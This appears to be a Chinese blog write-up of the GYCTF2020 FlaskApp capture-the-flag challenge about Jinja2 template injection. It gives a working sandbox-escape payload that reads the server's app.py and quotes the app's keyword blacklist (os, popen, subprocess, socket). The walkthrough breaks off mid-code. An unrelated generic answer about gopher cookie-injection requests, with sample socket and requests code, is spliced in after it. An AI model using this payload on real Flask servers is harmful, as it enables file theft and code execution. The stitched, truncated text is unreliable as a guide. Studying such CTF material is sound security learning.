一天一道ctf 第38天(报错模板注入 python沙盒逃逸 pin码生成)

[GYCTF2020]FlaskApp
先得到{ {7*7}}的base64加密字符串,然后解密,输出no no no,看样子是被过滤了,这里可能有SSTI模板注入,主要是看怎么绕过过滤
在这里插入图片描述
在这里插入图片描述

随便输入字符串让base64解密报错得到文件位置/usr/local/lib/python3.7/site-packages/flask/app.py
![在这里插入图片描述](https://img-blog.csdnimg.cn/20210720115212441.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NjcmF3bWFu,size_16,color_FFFF
在这里插入图片描述

{
   
   % for c in [].__class__.__base__.__subclasses__() %}{
   
   % if c.__name__=='catch_warnings' %}{
   
   {
   
    c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{
   
   % endif %}{
   
   % endfor %}

还是把这串命令加密一下然后解密,得到源码
在这里插入图片描述
可以在里面找到waf,过滤了很多字符。也可以找到执行我们输入的base64字符串的代码,通过GET方法将输入的字符串保存在txt中,如果解密后绕过了waf,则执行flash().

 def waf(str): 
 black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] 
 for x in black_list : 
     if x in str.lower() : return 1
@app.route('/decode';,methods=['POST','GET']) 
def decode(): 
    if request.values.get('text') 
由于提供的引用内容未涉及使用Python构造cookie报错注入的gopher请求后无法获得CTF web题中flag的解决办法相关信息,结合专业知识,以下是一些可能的解决思路: ### 检查请求构造 - **请求格式**:确保gopher请求的格式正确,包括协议、主机、端口、路径、请求方法等信息。例如,HTTP请求的起始行、头部字段和请求体的格式要符合规范。 ```python import socket # 构造gopher请求 gopher_request = "GET /path HTTP/1.1\r\n" gopher_request += "Host: example.com\r\n" gopher_request += "Cookie: injection_payload\r\n" gopher_request += "\r\n" # 连接到目标服务器 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("example.com", 80)) # 发送请求 sock.sendall(gopher_request.encode()) # 接收响应 response = sock.recv(4096) print(response.decode()) sock.close() ``` - **编问题**:确认请求中的特殊字符是否正确编,如URL编、Base64编等。错误的编可能导致服务器无法正确解析请求。 ### 检查注入点和注入语句 - **注入点准确性**:确保选择的cookie注入点正确。可以通过分析网页源代、使用浏览器开发者工具等方式来确定注入点。 - **注入语句有效性**:检查构造的报错注入语句是否有效。不同的数据库和应用程序可能对注入语句有不同的要求,需要根据具体情况进行调整。 ### 检查服务器响应 - **响应处理**:确保正确处理服务器的响应。有些情况下,flag可能不会直接显示在响应中,而是通过特定的方式返回,如HTTP头部、JSON数据等。 ```python import requests # 发送gopher请求 response = requests.get("gopher://example.com:80/...") # 检查响应状态 if response.status_code == 200: # 处理响应内容 if "flag" in response.text: print("Flag found:", response.text) else: print("Flag not found in response.") else: print("Request failed with status code:", response.status_code) ``` - **错误信息分析**:查看服务器返回的错误信息,从中获取有用的线索。错误信息可能提示注入语句存在的问题、数据库类型等。 ### 检查网络和权限问题 - **网络连接**:确保网络连接正常,目标服务器可以访问。可以尝试使用ping命令、telnet命令等工具进行测试。 - **权限限制**:确认是否存在权限限制,如防火墙、访问控制列表等。有些服务器可能会对特定的请求进行过滤或阻止。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值